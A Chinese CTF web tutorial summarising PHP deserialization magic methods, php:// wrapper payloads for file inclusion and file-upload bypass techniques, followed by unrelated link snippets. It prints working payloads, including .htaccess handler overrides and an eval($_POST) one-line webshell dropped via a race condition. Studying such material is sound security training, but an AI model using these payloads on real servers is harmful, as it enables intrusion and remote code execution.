CTF - Web 干货
目录
1、php反序列化之pop链构造
2、常见php伪协议的使用
(1)php://filter
(2)php://input
3、文件上传常规操作
(1) 前端绕过
(2) 修改文件类型
(3) 配合.user.ini 或.htaccess解析
(4) 爆破可解析后缀
(5) 针对Windows系统特性的绕过
(6) 文件包含结合图片马
(7) 条件竞争
1、php反序列化之pop链构造
常见魔术方法的触发
__construct() //创建类对象时调用 __destruct() //对象被销毁时触发 __call() //在对象中调用不可访问的方法时触发 __callStatic() //在静态方式中调用不可访问的方法时触发 __get() //调用类中不存在变量时触发(找有连续箭头的 this->a->b) __set() //给一个未定义的属性赋值时触发 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __sleep() //使用serialize()时触发 __wakeup() //执行unserialize()时触发 __toString() //当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等) __invoke() //对象被当做函数进行调用时触发(找有括号的类似$a()这种) __set_state() //使用var_export()时触发 __clone() //对象复制完成时调用 __autoload() //实例化一个未定义的类时触发 __debugInfo() //使用var_dump时触发
典型例题:[NISACTF 2022]babyserialize
NSSCTF 靶场地址:NSSCTF | 在线CTF平台
详细解题过程参考我之前的博客:https://myon6.blog.csdn.net/article/details/131565599?spm=1001.2014.3001.5502
2、常见php伪协议的使用
文件包含:
常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
文件包含函数:
1、include 2、require 3、include_once 4、require_once 5、highlight_file 6、show_source 7、flie 8、readfile 9、file_get_contents 10、file_put_contents 11、fopen
存在文件包含时就应该想到 php 伪协议的利用
常用的 php 伪协议:
(1)php://filter
用于读取源码
可以获取指定文件源码,当它与包含函数结合时,php://filter 流会被当作 php 文件执行,所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。
convert.iconv.* 的用法:
convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>
<input-encoding> 和 <output-encoding> 就是编码方式,有:
UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE* UTF-7 UTF7-IMAP UTF-8* ASCII* EUC-JP* SJIS* eucJP-win* SJIS-win*
常用 payload :
最常见的编码方式: ?file=php://filter/read=convert.base64-encode/resource=flag.php替换编码方式绕过的例子: ?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php ?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
(2)php://input
用于执行 PHP 代码
可以访问请求的原始数据的只读流,将post请求的数据当作 php 代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时 post 写入想要执行的 php 代码,php 执行时会将 post 内容当作文件内容,从而导致任意代码执行。
例如: http://127.0.0.1/cmd.php?cmd=php://input POST数据:<?php phpinfo()?>
典型例题:攻防世界的 fileclude 和 file_include
攻防世界靶场地址:https://adworld.xctf.org.cn/
详细解题过程可以参考我之前的博客:
https://myon6.blog.csdn.net/article/details/130188333
https://myon6.blog.csdn.net/article/details/130176864
3、文件上传常规操作
(1) 前端绕过
使用 BurpSuite 抓包改后缀即可
(2) 修改文件类型
将 Content-Type 改为 image/jpeg
(3) 配合.user.ini 或.htaccess解析
这两个配置文件都可以使我们上传的图像类文件被当作php文件解析
关于这两个文件的基本内容:
.htaccess
<FilesMatch ".jpg">SetHandler application/x-httpd-php
</FilesMatch>
.user.ini
auto_prepend_file=my.jpg
等号后面的 my.jpg 就是你要上传的 jpg 类型的一句话木马的文件名
(4) 爆破可解析后缀
使用burpsuite爆破可能被解析的后缀
比如:
php2、php3、php4、php5、phps、pht、phtm、phtml、phpt、shtml 、pwml等等
(也可以结合大小写绕过)
(5) 针对Windows系统特性的绕过
空格绕过、点绕过、::$DATA绕过
原理:Windows系统对于文件的重命名会自动把空格、点、::$DATA 去掉
因此我们可以在文件后缀添加空格、点、::$DATA 进行绕过(是在 burpsuite 抓包后修改)
(6) 文件包含结合图片马
文件包含漏洞:是指未对文件进行严格过滤,在代码中引入其他文件作为php文件执行。
图片马生成可以使用copy命令
copy 1.jpg/b + shell.php 2.jpg
生成的2.jpg就是一个图片马
(7) 条件竞争
条件竞争原理:当我们成功上传了php文件,服务端会在短时间内将其删除,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。
上传的大致内容为:
<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>
需要结合 burpsuite 设置上传包和访问包的线程数
详细解释参考我之前的博客:https://myon6.blog.csdn.net/article/details/133562672
相关文章:
CTF - Web 干货
目录 1、php反序列化之pop链构造 2、常见php伪协议的使用 (1)php://filter (2)php://input 3、文件上传常规操作 (1) 前端绕过 (2) 修改文件类型 (3) 配合.user.ini 或.htaccess解析 (4) 爆破可解析后缀 (5) 针对Windows…...
mobi文件怎么转换成pdf?
mobi文件怎么转换成pdf?在数字化时代,电子书籍成为了越来越受欢迎的阅读方式。我们可以通过多种格式的电子书来获取知识和娱乐,其中一种常见的格式就是Mobi文件。Mobi文件是亚马逊公司开发的一种电子书格式,它主要用于Kindle设备和…...
spakr 提交任务
当前集群支持3中集群管理 Standalone(spak框架自身拥有能力)Apache Mesos Hadoop YARN Kubernetes 使用/spark-submit脚本提交任务,脚本后面可以接参数 ./bin/spark-submit \--class <main-class> \--master <master-url> \--de…...
What is `addFormattersdoes` in `WebMvcConfigurer` ?
addFormatters 方法在SpringMVC框架中主要用于向Spring容器注册自定义的格式化器(Formatter) SpringMVC内置了一系列的标准格式化器,用于处理日期、数字和其他常见类型的转换。 开发者也可以通过实现 WebMvcConfigurer 接口,并重写…...
新冠疫情数据可视化分析大屏
项目背景: 新冠疫情的爆发对全球造成了深远的影响,实时监控和数据分析成为公共卫生管理的重要组成部分。为了更好地追踪疫情动态,本项目旨在开发一个集疫情数据采集、处理、分析与可视化于一体的大屏监控系统。 项目介绍: 本项…...
c#异形窗体遮罩效果
c#异形窗体遮罩效果,移动,关闭,最大化,最小化,还原操作 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Drawing.Drawing2D…...
橘子学Mybatis07之Mybatis关于缓存的设计
很逆天的一件事是,我上一次发mybatis是在2022年10月15号,然后直到今天才开始总结下一篇Mybatis的东西。一年里面忙成那啥了,而且重心都投入在了Elasticsearch的学习上面,基本一年下来都在搞ES,并且考下了ECE认证&#…...
怎样制作一本旅游电子相册呢?
随着数码技术的发展,旅游电子相册已成为越来越多旅游爱好者的必备工具。它不仅能让您随时随地欣赏自己的旅行回忆,还能分享给亲朋好友,甚至上传到社交媒体上,让更多人了解您的旅行故事。那么,如何制作一本精美的旅游…...
Windows搭建OpenCV环境(Python+Anaconda)
Windows搭建OpenCV环境(PythonAnacondapycharm) Anaconda,中文大蟒蛇,是一个开源的Python发行版本,其包含了conda、Python等180多个科学包及其依赖项。其中包含python调opencv相关的依赖,相当于大礼包全家桶。 下载地址…...
linux-等保三级脚本(2)
该脚本主要是针对 CentOS Linux 7 合规基线加固的一些配置操作,包括创建用户、安全审计配置、入侵防范配置、访问控制配置、身份鉴别策略配置等。如果您需要在脚本中添加公司网址,您可以在适当的位置添加相应的内容。不过请注意,在实际生产环…...
【论文阅读】Consistency Models
文章目录 IntroductionDiffusion ModelsConsistency ModelsDefinitionParameterizationSampling Training Consistency Models via DistillationTraining Consistency Models in IsolationExperiment Introduction 相比于单步生成的模型(例如 GANs, VAEs, normalizi…...
Ceph应用管理
目录 资源池 Pool 管理 创建 CephFS 文件系统 MDS 接口 服务端操作 客户端操作 创建 Ceph 块存储系统 RBD 接口 创建 Ceph 对象存储系统 RGW 接口 OSD 故障模拟与恢复 资源池 Pool 管理 我们如何向 Ceph 中存储数据呢?首先我们需要在 Ceph 中定义一个 Pool…...
大师学SwiftUI第6章 - 声明式用户界面 Part 3
安全域视图 SwiftUI还内置了创建安全文本框的视图。这一视图会把用户输入的字符替换成点以及隐藏敏感信息,比如密码。 SecureField(String, text: Binding):该初始化方法创建一个安全输入框。第一个参数定义占位文本,text参数为存储…...
使用AI自动生成PPT提高制作效率
使用AI自动生成PPT提高制作效率 在制作PPT方面,很多制作者都会轻易跳进一个怪圈:“我要制作一个关于关爱老人的PPT,该怎么做呢,有模板没有?”这个会涉及很多逻辑需要经过不断的思考,制作PPT要通过很多素材、使用技巧、…...
Servlet中访问网页常遇到的问题
网页出现404 出现这一种情况是浏览器访问的资源不存在 第一种情况通常是路径出错请检查你的路径是否一致 第二种情况确认你的webapp是否被正确加载 smart tomcat由于只加载一个webapp 如果加载失败 就会直接启动失败 拷贝war方式到Tomcat要加载多个webapp如果失败只有日志 查…...
Vue加载序列帧动图
解读方法 使用<img :src"currentFrame" alt"加载中" /> 加载图片动态更改src的值使用 requestAnimationFrame 定时更新在需要的页面调用封装的组件 <LoadToast v-if"showLoading" /> 封装组件 <template><div class"…...
k8s的配置资源管理
1、configmap*:1.2加入新的特征(重点) 2、secret:保存密码,token,保存敏感的k8s资源(保存加密的信息) (1)敏感的k8s资源,这类数据可以直接存放在…...
vue 指定区域可拖拽的限定拖拽区域的div(如仅弹窗标题可拖拽的弹窗)
<template><div class"container" ref"container"><div class"drag-box" v-drag><div class"win_head">弹窗标题</div><div class"win_content">弹窗内容</div></div><…...
【idea】idea插件编写教程,博主原创idea插件已上架idea插件市场 欢迎下载
前言:经常使用Objects.equals(a,b)方法的同学 应该或多或少都会因为粗心而传错参, 例如日常开发中 我们使用Objects.equals去比较 status(入参),statusEnum(枚举), 很容易忘记statusEnum.getCode() 或 statusEnum.getVaule() ,再比…...
探索Python数据结构与算法:解锁编程的无限可能
文章目录 一、引言1.1 数据结构与算法对于编程的重要性1.2 Python作为实现数据结构与算法的强大工具 二、列表和元组2.1 列表:创建列表、索引、切片和常用操作2.2 元组:不可变序列的特性和使用场景 三、字符串操作和正则表达式3.1 字符串的常见操作和方法…...
Linux 文件类型,目录与路径,文件与目录管理
文件类型 后面的字符表示文件类型标志 普通文件:-(纯文本文件,二进制文件,数据格式文件) 如文本文件、图片、程序文件等。 目录文件:d(directory) 用来存放其他文件或子目录。 设备…...
TDengine 快速体验(Docker 镜像方式)
简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...
聊聊 Pulsar:Producer 源码解析
一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台,以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中,Producer(生产者) 是连接客户端应用与消息队列的第一步。生产者…...
大语言模型如何处理长文本?常用文本分割技术详解
为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...
Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)
引言:为什么 Eureka 依然是存量系统的核心? 尽管 Nacos 等新注册中心崛起,但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制,是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...
vue3 定时器-定义全局方法 vue+ts
1.创建ts文件 路径:src/utils/timer.ts 完整代码: import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...
NLP学习路线图(二十三):长短期记忆网络(LSTM)
在自然语言处理(NLP)领域,我们时刻面临着处理序列数据的核心挑战。无论是理解句子的结构、分析文本的情感,还是实现语言的翻译,都需要模型能够捕捉词语之间依时序产生的复杂依赖关系。传统的神经网络结构在处理这种序列依赖时显得力不从心,而循环神经网络(RNN) 曾被视为…...
视频行为标注工具BehaviLabel(源码+使用介绍+Windows.Exe版本)
前言: 最近在做行为检测相关的模型,用的是时空图卷积网络(STGCN),但原有kinetic-400数据集数据质量较低,需要进行细粒度的标注,同时粗略搜了下已有开源工具基本都集中于图像分割这块,…...
嵌入式学习笔记DAY33(网络编程——TCP)
一、网络架构 C/S (client/server 客户端/服务器):由客户端和服务器端两个部分组成。客户端通常是用户使用的应用程序,负责提供用户界面和交互逻辑 ,接收用户输入,向服务器发送请求,并展示服务…...
三分算法与DeepSeek辅助证明是单峰函数
前置 单峰函数有唯一的最大值,最大值左侧的数值严格单调递增,最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值,最小值左侧的数值严格单调递减,最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...
